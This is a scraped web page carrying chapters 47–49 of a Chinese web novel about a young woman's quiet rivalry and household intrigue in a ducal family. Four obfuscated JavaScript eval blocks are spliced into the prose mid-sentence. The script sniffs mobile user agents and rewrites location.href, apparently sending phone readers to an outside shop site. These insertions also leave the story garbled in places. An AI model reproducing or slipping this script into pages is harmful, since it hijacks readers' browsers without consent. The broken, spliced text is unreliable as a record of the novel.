“老太太莫不是嫌我烦了?” 她在那个家里没什么可留恋的,所以也不存在想家这回事,况且山高路远,回一趟都要被马车癫吐了,她身子骨弱,一来一回足够喝一壶的,得躺好几天才能恢复精气神。 老太太捏捏她的脸颊肉,笑得眼尾的褶皱更多了:“你这丫头还知道贫嘴。” 临了,老太太让阿凰带一些土特产过去给独孤凤渊。 “纯儿妹妹的呢?”她问。 “待会儿我让真儿亲自送过去。” 既不显得偏心,也正好掩盖方才不接见许纯儿的尴尬,做个表面功夫,给了她面子,也不好再说什么。 徐子岑亲自拿了东西,十分热情主动,这原是巧翠该做的,她一个一等丫鬟,还是小姐的贴身大丫鬟,除了贴身伺候阿凰,别的都不用做,地位和体面都有了,已是最轻松的活计。 她的心思实在太过明显,阿凰也不想强人所难,更不想一个不专心不忠心的丫鬟留在自己房里,只要她有本事让许纯儿看中,讨了她过去,阿凰第一个松口。 到了明辉院,作为府里最得宠的,还是嫡长子的住所,这里的一切比别处都精贵许多,一路走去,廊下挂了些精致的鸟笼,笼子里关着的都是些稀奇的鸟类,负责养鸟的丫鬟在给鸟儿喂食。 进了正屋,外头的丫鬟迎上来,说独孤凤渊不在,阿凰便让她拿了土特产去收好,自己慢悠悠地闲逛起来。 “你瞧瞧,这块绣什么才好?” 听到许纯儿的声音,阿凰心生好奇,走了过去。 透过窗口可以看见屋里的光景,许纯儿正坐在独孤凤渊床边,手里在做针线活,她旁边的是独孤凤渊的大丫鬟金喜。 这些个大户人家,男主人房里的大丫鬟默认都是会成为通房丫头的,再争气些,将来当个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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相较于金喜的扭捏,许纯儿游刃有余许多:“就算有,哪里是我能做主的呀?我不过一个小女儿家,哪有资格自己选亲事。” 金喜更好奇了:“那姑娘悄悄和我说,你看上了哪个公子?你不好开口,我可以替你在老太太和大公子跟前提一嘴,多提醒几次,他们上了心,不就有希望了?” 作为大夫人房里派过来的丫鬟,成了大公子的贴身丫鬟,她自知有些话语权。 “你猜猜看。” “我可不敢猜。” 两个女子互相试探,明知对方心里在想什么,都在等对方主动提出来。 “姐姐伺候大哥哥这么久,没有功劳也有苦劳,将来若没有个主子当当,我可要先替你不值。”许纯儿的试探更进一步,“我可是听过那些小丫头们偷偷议论,在她们心里姐姐已经是半个姨娘了,说不准,将来我还得叫姐姐一声嫂子。” 金喜故作嗔怒:“姑娘再这么说我可不理你了!” 看着她背过身去,许纯儿笑起来:“好,我不说了。” 好一会儿金喜才平复下来,微微侧过来看许纯儿道:“姑娘可别光取笑我,在大伙心里,你才是将来真正的大少奶奶,再拿我取乐子,我可要先叫你一声大奶奶了。” 许纯儿低下头羞涩,嘴里却不示弱:“好嫂子,你可饶了我吧。” 两个姑娘一边羞涩一边打闹起来,满是少女怀春的模样。 阿凰觉得脚都站麻了,便离开此处,再看下去也没意思了。 这场景属实别扭,许纯儿一个未出阁的姑娘给独孤凤渊补里衣,和他房里的大丫鬟嬉笑打闹,互相取笑,仿佛内定了是他将来的妻子。 真不知是心大还是怎么了,这也就是被阿凰看见,一笑而过就罢了,若被旁人看去,不知道要传成什么样子。 47. 算计 国公府这样的人家,寻常日子都有人送礼进门,更别提逢年过节,若是一般的礼物,上头的人过目了,有时会随手分给下人,若是王公贵族的礼物,小辈之间也能分些。 自从知道阿凰会书法,老太太每当得了文房之宝,便特意留些给她。 她早已听闻烟山墨,乃有名的稀世之墨,天下文人墨客大肆追捧,就连宫中也得之甚少,所以,当老太太将她唤去身边,让真儿拿了贵客送的烟山墨来,她是挺惊喜的。 她提起衣袖,在宣纸上提笔写字,真儿在侧研墨,看着那条墨被磨在砚台中,晕染出漆黑的浓墨水,她有点肉疼。 这可是比黄金还贵的烟山墨啊。 看出她的想法,老太太笑着让她放心用,还说:“放眼整个府上,除了凤儿,也就你一个写的字合我心意,旁的人虽也写得一手好字,可终究是比不得你二人的。” 有时候阿凰真怀疑自己是不是老太太的亲孙女,否则这老人家怎么活像她的激推? 逢年过节时,独孤凤渊会亲自提笔作诗,洒金字写在红色纸上,一派喜庆,写的吉祥话让老太太很是满意。 他的字,阿凰自然是见识过的,第一次见到的时候,她心里就冒出了字如其人这个词。 肆意,潇洒,无拘无束,却不是脱缰野马那般肆意,总会保持着一分克制。 她努力想把字写得最好,让他注意到,想有机会与他探讨书法,想在喜庆的时节在他身侧一起提笔,哪怕只是为他研墨也好,可他从来不会看见。 看着这个精通琴书画的女孩,还有个好脾性,老太太是很满意的,让她想到了自己远嫁的大女儿,也和她年轻时一样。 老太太感慨道:“我年轻那会儿,吟诗作画,把酒言欢,也曾是意气风发的女子,看着你们,总令我怀念当年的时光。” 末了,老太太让阿凰自己收下一半墨条,另一半拿去给独孤凤渊。 不知为何,阿凰总感觉最近老太太在刻意让她接近独孤凤渊。 让巧翠带着墨条回暖玉阁,阿凰便领着徐子岑前去明辉院,这个大公子果然不在,不记得这是第几次碰壁了,阿凰早就习惯了,让金喜把礼物收好就走了。 这一趟,老太太还让阿凰带着礼物去看看大夫人,若从老太太那儿过去,直走就能到,可从明辉院过去,还得绕一大圈,每当这个时候,阿凰就会感慨国公府地方太大了。 作为妾室,独孤双儿的亲娘顾姨娘是住在大夫人院里的,似乎和大夫人不太对付,独孤双儿也和自己这个娘很少来往。 若非必要,阿凰也很少自己过来。 见了她,门口的丫鬟行了一礼便继续忙活,阿凰一路走去,徐子岑拎着礼物跟在侧后方。 “诶,你说,里面这么久是在聊什么?” “还能聊什么?未来婆婆和未来儿媳该聊的。” 听到窃窃私语,阿凰停下脚步。 “你怎么能肯定?” “那还用说吗?谁不知道她就是未来的大少奶奶?大公子那么喜欢她,大夫人也对她很满意,板上钉钉的事儿。” “估计她也对自己很有信心,这个月都是第几回亲自过来陪大夫人了?” 声音停了会儿,又有人说:“也真是不像话,未出阁的女孩这么明晃晃频繁地跑过来,心思也太明显了,不能仗着自己是侯府嫡女就一点也不顾及名声吧?” “你说,这会不会就是老太太不待见她的原因?” 有人惊讶道:“还有这回事?” 几个丫鬟讨论了几句,得出的结论是对比很明显,老太太显然更喜欢阿凰姑娘,不喜欢纯儿姑娘,还打起赌说,大公子的亲事老太太说了算,纯儿姑娘虽得意一时,但阿凰姑娘的脾性更适合做当家主母。 “会讨好男人算什么?在国公府,老太太才是最大的,这点眼力见都没有,一个劲跑过来讨好大夫人有什么用?将来老太太一纸婚书,将阿凰姑娘配给大公子,那就有好戏看了。” “依我看她未必会轻易放弃。”一个丫鬟分析道,“两家门当户对,这门亲事估计不会作废,若做不了正妻,她会不会同意做妾?” 另一人不屑道:“若真是这样,那我看这个侯府嫡女也没什么气度,区区一个妾室,谁都能做,姐妹们争气点不也一样?到时侯府嫡女和丫鬟共事一夫,被丫鬟骑在头上,那可真是闹了笑话。” 这些贵族人家府上的恶奴名声在外,阿凰在这里生活两年,早已见识,当下也是见怪不怪。 独孤凤渊作为京中女子仰慕之人,府上的丫鬟们也对他芳心暗许,自然也有身份的原因,都想着跃上枝头当凤凰,正妻的位子是指望不上了,妾室的位置可不少人盯着,所以,她们也对接近独孤凤渊的女子抱有敌意。 阿凰装作若无其事,故意加重脚步走过去,那些个丫鬟听到了动静,这才闭嘴安分些。 她问起里面是不是有什么客人,丫鬟如实回答,一人在她反应不及时跑进去禀报。 没多久,那丫鬟去而复返,说大夫人请她进去。 进了屋,就见许纯儿与大夫人一左一右坐在桌边,许纯儿站起来主动打招呼:“阿凰姐姐,你也来啦!我和大夫人刚刚还聊到你呢,真是心有灵犀,这不就来了嘛?” 她热切得阿凰有点不适应,明明在此之前两个人也没有达到这么亲近的地步,不说还以为她们真的是亲姐妹一般的熟络。 总有一种被许纯儿拿来当话题的感觉,成为她在人前营造她好人缘的一员。 大夫人招呼阿凰坐在对面的桌边,她面上保持友好的浅笑,问:“聊我什么呢?没想到我人不到场还有我的事。” “说阿凰姐姐你脾性好,又会管教下人,你房里的下人可是府上最有规矩的,我都羡慕不来。”许纯儿调侃道,和大夫人对试一眼,“说将来谁娶了阿凰姐姐,可就有福气了。” 阿凰装作不好意思,礼貌回应,内心多了一分警惕,没办法,在人均人精的国公府,小心谨慎就是最稳妥的求生之道。 说了几句客套话,把礼物送到,把老太太的话转达了,阿凰就告辞了。 走出大夫人院,想着都出门了,正好溜达溜达,阿凰便让徐子岑不必跟着,她要一个人静静。 反正这丫头刚才见了许纯儿后又开始心不在焉了。 把这些日子的事细细想了一遍,阿凰总感觉这个侯府嫡女并不像表面上看起来那么单纯可爱,再加上老太太多有提示,她就更觉得这个女孩不一般。 只要不牵扯她,都和她没关系,她只想简简单单地生活。 就算许纯儿想做独孤凤渊的正室妻子,也和她没关系,她这辈子都不可能被他多看一眼,她没可能和许纯儿争,也争不过,如果许纯儿真的不像表面上单纯,那绝对是很擅长表演和伪装的心思缜密之人,退一万步讲,她有机会和许纯儿争,也一定算计不过她。 她可不想和那些个太太姨娘们一样,为了得到自己丈夫一个眼神,争得头破血流,算计一辈子,太累了,她宁可此生不嫁,一辈子陪在老太太膝下。 况且,她也没有自信,自己能算计得过久经宅院大染缸耳濡目染培养的千金小姐们。 只要将来许纯儿上位后,把她当空气,也别算计老太太,和平共处,她愿意保持礼数一辈子,否则,就算为了老太太,她也会学着反击。 思索良久,回过神来,阿凰发现自己溜达到园子里了。 园子里的花儿也有专门的下人照料,此时开得正好,阿凰坐在亭子里休息。 就看见远处有两个丫鬟似乎在争执,细一看甚是眼熟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352146|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面色平静的那个,阿凰有印象,正是山水侗,她的容貌与气度很难让人忽略,见一次就忘不了。 她面前的丫鬟气焰嚣张,阿凰一时间想不起来,盯了好一会儿,才想起那貌似是许纯儿身边的大丫鬟弥秋。 “哎,我叫你呢,你要往哪走?”弥秋盯着面前的女子,越看越气。 这个叫山水侗的,是小姐从宋家小公子那里要来的,小姐认作义妹,实则打杂侍女都不如,仗着自己长了张祸水容颜到处招摇,她头一个看不惯,小姐也从不管这些,她们下人就知道,小姐这是在默许。 只要她们有不高兴的,就拿山水侗出气,平日里的活都使唤她,看着她那双水葱似的手被磋磨得越来越粗糙,心里那口气就舒坦许多。 小姐对玄极公子的关注,弥秋可都看在眼里,她也替小姐着急,可是玄极公子似乎并无他意。 直到山水侗来了侯府,玄极公子来看望小姐的次数也多了起来,弥秋就知道其中一定有猫腻。 又想到一直以来都有人偷偷拿山水侗的容貌和小姐对比,弥秋看着那张脸就来气。 “活都干完了,我出来走走。”山水侗语气出奇的平淡,和面前的弥秋形成鲜明对比。 弥秋不依不饶:“活都干完了?我怎么没看到?谁告诉你活干完了就可以到处逛?主子没有命令下人就不能乱走动知不知道?我看你是不长记性。” 正要动手,另一个丫鬟跑过来制止,是许纯儿的另一个大丫鬟赵冬,她耳语:“小心点吧,这不是在侯府,留下痕迹被人看到了不好听。” 然后,赵冬看着山水侗皮笑肉不笑:“小姐来了国公府还把你一个低等丫鬟带在身边,可见有多重视你,你可不要辜负了小姐的心意。” “你们又有什么吩咐?”山水侗只是问。 “我只是想提醒你,这是在国公府,不比在侯府,一切谨言慎行,我们都是一条绳上的蚂蚱,一荣俱荣,一损俱损,为了小姐的声誉,想必你也知道该怎么做好一个下人的本分,不该说的别乱说。” 这是在提醒山水侗不要把自己的委屈告诉别人呢。 沉默片刻,山水侗不知在想什么,才说:“我知道。” 看着她还是这种态度,明明都是下人,就她总是不卑不亢的,好像什么都不怕,什么都不在乎,衬托得她们很可笑,弥秋就更来气了。 “都是一个屋子里的,和气生财嘛,有什么事都好商量。”阿凰看不下去了,找机会走上前,摇着团扇漫步而来,既淡定又不失气度。 赵冬显然比弥秋更懂得伪装,见了阿凰便收敛起来,弥秋不服气,依旧昂头挺胸,丝毫不把这个小姐放在眼里。 “这是我们自己的事,阿凰姑娘就不要插手了吧?一个小姐和下人纠缠,说出去恐怕不好听。”弥秋斜着眼看人,“而且,这是我们侯府的下人,你把手伸太长不合适。” “我自然无意多管闲事,只是这是国公府,闹到主家面前恐怕更不好听,有句话叫入乡随俗,既然来了国公府,理应好好遵守府上的规矩,也不怕别人说你们主子不会管教下人,到时你们也难交差吧?”阿凰浅笑着,半威胁道。 弥秋被呛住,还想再狡辩,被身边的赵冬扯住袖子这才作罢,两人悻悻而去。 这时阿凰才有功夫看着山水侗,她原本是在这里作画呢,也难为了她,条件艰辛还能坚持自己的爱好。 得到同意,阿凰拿起画作观摩,不免赞赏,心里更觉得这个姑娘身世不一般。 交谈良久,山水侗虽寡言,两人却莫名契合,阿凰甚至有一种相见恨晚的感觉。 “你若有意,以后可以来暖玉阁找我探讨画作。” 她开了口,以后山水侗就可以拿着她的约定来暖玉阁,也算是为她解围,虽然不多。 48. 背锅 独孤凤渊的生辰早在一个月前就开始着手准备,临近日期,府上喜庆的氛围更为浓烈。 有心的,无心的,都在想着怎么趁这个日子表现一番。 去年这个时候,阿凰得到了独孤凤渊敬仰的书法家的字帖,在生辰宴会上,精心打扮送给他。 那书法大师脾气古怪,却认可了阿凰的字,让她当了几个月徒弟,又是一阵好说歹说,最后才让她拿到了字帖。 可是宴会上,独孤凤渊得了礼物,只是客套地感谢一句,目光并未在礼物上多作停留,即便如此,阿凰回去后也高兴得一整晚没睡着。 后来,她在独孤凤渊的兄弟,那个宋家小公子宋清希手里,看到了那幅字帖。 这几日,全府上下变得更为忙碌,国公府长公子的生辰可是头等的大事,来往的客人也多了,下人们都在忙着打扫客舍。 作为府中的女眷,为了避免与客人冲撞,阿凰干脆减少外出。 不过下人们可就没那么悠闲了,闲暇之余,丫鬟们还有功夫聚在一起说闲话,这也是这帮人的通病了,忙归忙,嘴里是不能闲的,所有人都要被她们揶揄个遍才是,仿佛一天不说别人的闲话就难受。 许纯儿刚微笑着送走和自己打招呼的,一时安静下来,便要自己溜达会儿,走着走着就见草地里卧着一只雪白的兔子,正耸动着三瓣嘴。 她对这些本没有什么兴趣,但她一贯在外人面前营造可爱的风格,习惯了下意识维持自己的形象,但凡有机会,便做出相应的行为。 所以,当许纯儿看到那只兔子时,便扑上去追,可兔子行动敏捷,反应迅速,一溜烟就窜到远处。 一来二去,许纯儿追兔子到一处亭子外,出了一身汗,头发也乱了,兔子失去踪影,干脆作罢。 这一停下来,她倚靠着假山,拿出手帕擦汗,另一只手捏着团扇扇风,望着远处,耳边却听到假山后面传来几个女孩说话的声音。 “你们两个丫头,把我叫过来有什么事?” 短短的时间内,许纯儿早已把国公府上下都打探了个遍,对这里的情况了解得大差不差,所以听到这个声音,她就能分辨出来,是大小姐独孤槿身边的大丫鬟,丽儿,原是二夫人房里的,分配去伺候女儿独孤槿了。 另一个声音坏笑着说:“丽儿姐姐,你瞧瞧这是什么?” 这个声音,许纯儿立刻就听出来是自己房里的丫鬟,夏莉,她和另一个丫鬟春芽,是她来到国公府后,老太太亲自分配过来伺候她的。 就听到丽儿惊讶出声:“快还给我!” 听着里面的动静,似乎不止两个人,她们追逐打闹了一会儿,丽儿不高兴了:“快别闹了,最近客人多,府上忙得紧,我可没功夫陪你们在这里闹,拿来。” “这么重要的东西被我们捡到了,丽儿姐姐要怎么谢我们?”另一个声音果然是春芽,这两个丫头几乎到哪里都是结伴而行。 “你们想我怎么谢?” 夏莉好奇道:“我们也不是要为难你,只是难得一见丽儿姐姐少女怀春,你一向孤高,不是连大公子都看不上吗?本以为你一辈子不嫁人,没想到是早就心有所属了?” “快跟我们说说,是哪家公子让丽儿姐姐芳心暗许,亲手绣了这么精美的鸳鸯香囊。”春芽催促道。 “这叫我怎么好意思说?你们两个死丫头为人所难。”丽儿嗔怒道,“原来你们是来拿我取笑的,就想看我下不来台是不是?” 夏莉好声好气说:“我们在府上共事这么多年,有没有坏心思你还不知道吗?我们可没有要你什么好处,只是着实好奇罢了,你应该庆幸是我们捡到的,否则换了别人你也清楚会怎么样。” 扭捏了会儿,丽儿说:“你们发誓,绝不说出去一个字。” “我们发誓,要是将今日的事说出去,就沦落街头,被发卖为奴为妓!” 待春芽夏莉发毒誓,丽儿才说:“你们既然这么好奇,就向我提问吧,我倒要看看你们有没有本事猜得到。” 外头的许纯儿竖起耳朵,找了个位置让自己听得更清楚。 “他是府外的?”“对。” “他和国公府有关系?”“对。” “他经常来国公府?” 丽儿思索片刻,说:“错。” 两个丫头沉默了,好一会儿又问:“和纯姑娘有关系?” “对。” “是许萧然公子?”“错。” “难道是宋清希公子?” 丽儿说了个“错”,又说:“停,这样排查着问是耍赖。” “好吧。”春芽说,“那,他也是世家公子?” “对。” “和两位太太有关系?”“对。” 夏莉心中似乎有了答案:“名字是不是两个字,是不是寡言少语的性子?” 丽儿明显愣了一下,不得不承认:“对。” 夏莉满意了,春芽还不明白,她便说:“你想想,大夫人二夫人,谁有个皇商世家的亲戚?符合条件的适龄男子,想一想?” 这下春芽明白了,在外面偷听半晌的许纯儿也明白了,脸色顿时沉了下来。 “哦~是不是……” 丽儿立刻捂住春芽的嘴:“够了,你想害死我?说了这么多,仔细隔墙有耳。” 说罢探出身子,外面的许纯儿一惊,迅速起身往前走了几步,假装探头探脑:“阿凰姐姐!我可不和你玩躲猫猫了,快出来,不然我就要去捉你了。” 然后转头后知后觉似的,仿佛才看到三个丫鬟:“诶?你们也在这儿躲猫猫?” 丽儿是最心虚的,面上装作淡定,手里已经把帕子绞紧了:“是啊,这两个丫头非要缠着我,都说了这几日忙,纯姑娘快把她们领走吧,好好地罚她们才是!姑娘这是在找人呢?” 许纯儿摇摇团扇,看起来气喘吁吁:“阿凰姐姐仗着人瘦腿长,身子轻,脚步又快,轻易就把我甩掉了,害我找了半天,这地方弯弯道道多,快把我绕晕了,你们有没有看见她,可不是藏在这石头后面?” 说罢自己钻进假山后面找了一圈,并不见任何人踪影,这才走出来,不悦道:“阿凰姐姐也真是的,仗着自己在府上的日子久,比我了解地形,自己躲起来,倒害我何处去找?定是躲在哪个石头后面,等着看我找她找急了,偷偷取笑我呢!” 顿了顿,她继续说:“不会是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“阿凰姑娘表面平和,可谁能猜到她内心真实的想法?这种人最可怕了,防不胜防,还不如纯姑娘那样单纯大方的人好懂,什么事都摆在明面上才好应付。”丽儿有些魂不守舍,“若她为了稳固地位,向老太太示好,表示自己的能力,拿我这事开刀……” 春芽安慰道:“你先别慌,我们替你在纯姑娘那边多观察口风。” “阿凰姑娘可是二夫人的亲侄女,若她去二夫人面前说,我可怎么办?”丽儿自言自语起来,“不行,我不能坐以待毙。” 作为二夫人房里出去的,还是去照顾她亲女儿的大丫鬟,丽儿的地位自然不一般,她自己也时常两头跑,保持联络。 二夫人不太待见她那个来投奔的远房侄女,丽儿也是知道的,只不过阿凰越发得老太太欢心,二夫人对她的脸色才改善一些,不过,二夫人觉得自己亲女儿被外来的丫头压一头,心中始终有根刺。 这会儿听了丽儿添油加醋地说,阿凰撞见她和徐子岑她们在一处玩闹,竟教训起她们,一面不许自己房里的下人和她玩,一面说她没规矩,要替她主子管教她,二夫人对这个侄女的不喜又多了一分,向丽儿保证会护着她。 49. 生辰 这日阿凰在老太太房中提笔练字,为了几日后独孤凤渊的生辰宴会准备贺词。 他不看是他的事,她没办法,可她的心意总是要送达的,这也是她的事。 将自己的心意准备到最好,不留遗憾。 正写着,有丫鬟进来传话,说许纯儿来了。 祖孙俩对视一眼,老太太收起那丝不悦之色,慈爱的眼神看着阿凰说:“你想回避就进里间坐会儿吧。” 阿凰觉得没必要,一来许纯儿也不是什么晦气的,让人避如蛇蝎的地步,二来她又没有什么不好面对许纯儿的,她们之间没什么矛盾。 待下人将许纯儿请进来,她一眼就看到屋里的阿凰,有一瞬间眼神竟有一种阿凰看不懂的复杂,但也只是那一刻,随即变回正常,笑说:“阿凰姐姐也在这儿呢?还是姐姐有福气,能跟在老太太膝下日日伺候着。” 若换作旁人确实会被她这番奉承的话取悦,但老太太只是保持友好的浅笑,命人赐座。 一进屋许纯儿的眼神就快速在屋内不着痕迹地过了一遍,暼见案上的纸,她“咦”了一声凑过来:“阿凰姐姐竟也写得这样一手好字?之前怎么没机会见识?藏得好深。” “闲暇时写来玩玩罢了,上不得台面。”阿凰客气道。 看了会儿,许纯儿蠢蠢欲动,阿凰便让出位置:“纯妹妹也来展示一手?” 寸墨寸金的烟山墨,和上好的宫廷宣纸,都是老太太特意留着阿凰过来的时候用的,她虽有点肉疼,这会儿也只能大方分享。 许纯儿提笔挥墨,不多时在纸上写了一首诗,主动讨教:“阿凰姐姐看我这字可好?” “娟秀有力,写得真好。”阿凰在脑海里搜刮赞美之词。 许纯儿拿起纸走到老太太跟前,故作淘气道:“听闻老太太喜欢书法,也写得一手好字,我特地找了名师学习,今日有机会在老太太跟前班门弄斧,还请您不吝赐教。” 真儿将纸双手接过,拿到老太太面前,她浏览一遍,点点头:“不错,未来可期,你们年轻人有无限的可能,只不过,一切的基础都需要稳扎稳打啊,不可操之过急,写字也是会走火入魔的。” 许纯儿有一瞬间的怔愣,迅速调整好表情:“多谢老太太指点,纯儿会再接再厉的。” 夜月姬第一眼就看出来,老太太只是勉强维持体面,眼中无一丝认可。 审美是天生的,可惜顾纯儿没有,自然的,虚拟世界里的她也不会无中生有。 琴棋书画这方面阿凰虽不说样样精通,但都有涉猎,天赋高、感兴趣、学习能力强,这些技能自然学得很快,简直是锦上添花。 她也跟着自豪起来,毕竟她和阿凰与荣俱荣。 果然,在许纯儿被打发走后,老太太叹气道:“好好的年轻人,心浮气躁可不是什么好事。” 阿凰一时没明白,老太太便说:“俗话说字如其人,那丫头虽拜师学字,一笔一划间都很浮躁,如此狂的字却是我不喜的,更何况她还只学了个皮毛,就拿出来招摇,哎……” 一回想起来,阿凰发现老太太确实是不喜欢咋咋呼呼的人,所以哪怕只是写了一手狂字,她也不喜。 更何况,老太太这番话也颇有惋惜之意,不喜欢一个人是一回事,只怕晚辈误入歧途的心也是真的。 “纯姑娘。” 许纯儿转身看着徐子岑,正因为刚才的事郁闷,莫名控制不住在心中迁怒她,表面上还是扯出笑容:“岑儿?有什么事吗?” “这是老太太让我送来的烟山墨。”徐子岑毕恭毕敬地奉上。 身后的赵冬自觉接过,许纯儿心里那口气却怎么也抒发不了,看出来徐子岑有话要说,却断绝她的念想,客套一句便走人。 留下徐子岑望着她远去的背影,咬咬唇拧紧下摆。 她是羡慕许纯儿那边风风光光的,以为许纯儿待人友好,过去了日子一定更好,多次找机会献殷勤就是想被调去藕花舍,许纯儿表面上和和气气,实际忽略她的示好,她也一直没什么进度。 …… 府上喜悦的气氛越发浓重,独孤凤渊的生辰日终于到来,老太太虽退居幕后,却不能闲下来,还要应付来访道贺的客人。 阿凰对于国公府也是外客,还是女儿家,不便常常露面,便减少了去陪老太太的次数。 刚从老太太屋里出来,就碰上二夫人,她主动打招呼,对方却没什么好脸色,反而用警告的语气说:“这两日外客来往,姑娘还是多待在自己屋吧,你虽也是客,府上的规矩还是要好好遵守的,否则身为主子坏了规矩,就没法以身作则教训下人了。” 听得阿凰一头雾水,规规矩矩回了话,心中疑惑自己哪里又惹她了,就连她身后的丽儿看她也是一种防备的眼神。 好不容易宴席终于开场,阿凰维持了一天的造型,天微微亮就起来,让丫鬟伺候着精心打扮了一番,一方面是有私心,一方面是这种日子所有人都得体面喜庆。 独孤凤渊这个大忙人也终于安分呆在家,阿凰从来都没机会知道他整日都在忙什么,只是听说,许纯儿来了之后,两个人常常叫上三五好友偷偷溜出去玩。 被老爷逮住训斥了一顿,好歹没那么明目张胆了,可阿凰依旧很难见他一次,只有老太太把他叫过来时才能见一面。 他只顾得上讨老太太欢心,不会多看她一眼,她心里其实很尴尬,明明看出老人家的意图,却不能让她不必勉强。 国公府重要人员欢聚一堂,在嫡长子的生辰宴会上,个个光鲜亮丽。 要说穿着打扮最隆重的还是许纯儿,恨不得把自己屋里最精美的饰品都带上,衣装也是最珍贵的布料,用藕丝织就,外面穿了一件双面绣纱衣,随风飘动,看得男子眼睛都不会转了,女子每个人都艳羡不已。 这样的场面在意料之中,许纯儿很满意。 也不枉费娘亲提前就命人定制了这身衣服,那一套首饰是从侯府带来的,对她来说多如牛毛,侯府嫡女这个身份,让她无时无刻都想维持体面。 仙琼山修道士派人送来琼浆玉露,为独孤凤渊生辰贺喜,给足了面子。 世家之间明面上客客气气,私底下都有往来,每年老太太和独孤凤渊生辰日,阿凰都能切身体会到,贵客和送进来的礼物多如流水。 尝遍饭桌上各色山珍海味,众人下一步便是游园,也是招待客人,在此之前,独孤凤渊的兄弟朋友们先灌了他一通酒。 他的众多兄弟中,大部分都是阿凰不认识的。 自从许纯儿来了国公府,宋清希便多次来访,所以阿凰对他有印象,另一个便是许纯儿的哥哥,许萧然,在这之前他来看望过许纯儿,阿凰并未见到,这是她第一次见到这个人,第一印象就是觉得,宋清希和许萧然两个人看起来脾性很是相似。 酒过三巡,以老太太和独孤凤渊为首,一群人游园散步。 几个年轻人聚在一块,叽叽喳喳的,此刻阿凰忽然意识到,似乎都是独孤凤渊在引出话题,然后许纯儿热切回应,再加上旁人都喜欢许纯儿,更多人回应她,场面一时变得很热闹。 这个侯府嫡女确实是京中所有男子爱慕的对象,她的人缘好得夸张,似乎遍地都是她的人脉。 玩累了,众人在一处亭子歇脚,许纯儿像是突然想到了什么,说:“听说大哥哥好书法,正好我最近也学了一点,不如趁着这个好日子,给你露一手,写生辰贺词如何?” 独孤凤渊似乎有些受宠若惊:“那自是极好的。” 话音方落,许纯儿身边的弥秋已经退下,很快就把笔墨纸砚端上来铺好。 她抬手提笔,不多时便写好贺词,弥秋将纸拿起来向众人展示。 “纯儿在此祝贺大哥哥生辰安康,万事如意。” 许萧然笑道:“来了国公府之后,小妹也变得越发聪颖了。” “我一直都很聪明,是大哥没注意而已。”许纯儿故作不服气。 独孤凤渊嘴角沁着无边的笑意,眸中尽是惊喜与温柔之色:“多谢纯妹妹的心意,我铭记于心。” 不知为何,阿凰好似能将他的一切反应尽收眼底,越是看得清晰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360495|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心中就越是酸楚,她只能装作不在意,看向老太太,发现她竟有一丝不悦之色? 按照阿凰对老太太的了解,和她自己在国公府这些日子磨练出来的心思,她大胆猜测老太太不高兴的原因。 这是独孤凤渊的生辰宴,许纯儿却在宴会上大秀书法,引得旁人夸赞,一时抢走寿星的风头。再一联想,前几日老太太否定了许纯儿的字,后头她就在众人面前写字大出风头,好似在暗暗较劲。 老太太抬头迎上她的目光,忽然说:“阿凰也写首贺词吧,你最近书法精进不少,正好让我验收一下。” 下意识之间,阿凰看向独孤凤渊,发现他也在看着她,只是十分平静,好像只是被老太太的话头吸引了,目光暼到了许纯儿,她好奇地笑着看过来。 徐子岑上前研墨,待准备完毕,阿凰挽袖执笔,露出一截手臂,倒羊奶似的,白得可见灰青色的经脉,手腕上套了一金一玉的对镯,衬得手臂更为细嫩,像刚出水的葱段。 随着她垂首,头上的衔珠金凤轻轻摇晃,靠近还能听见珍珠碰撞在一块的声音,天鹅似的颈隐在祥云纹衣领里,柔弱却优雅。 她就这么静静地做自己的事,好像忘却一切,沉浸在自己的世界当中,仿佛写字是一种享受,旁人看着这画面也是一种享受。 不只是独孤凤渊,此时此刻,他们才意识到,这个和气待人,不爱显山露水的远房小姐,竟有如此优美的身段与气质,分明是和别的小姐一样的装扮,甚至不如许纯儿金贵,却比她更像一个有涵养的千金小姐。 阿凰写字的时间比许纯儿还要久,在众人好奇她在写什么时,她停下笔,待墨水干了,让徐子岑拿起来展示。 这是她亲自写的贺词,内容也是她自创的,和许纯儿写名人诗句不同,所以耗时更久。 “那我就祝大公子生辰吉祥,心有所想,事有所成。”这些内容,她早已提前在脑海里演练了无数遍。 就算不能给他留下印象,也决不能丢人,不能普通,能表现出自己的心意就够了。 独孤凤渊静静看了会儿,不知在想什么,向阿凰谢道:“有心了,多谢,我会收好。” 宴会散场,女眷各自回屋歇息,独孤凤渊和兄弟们却还不嫌累,趁着灯火通明玩乐。 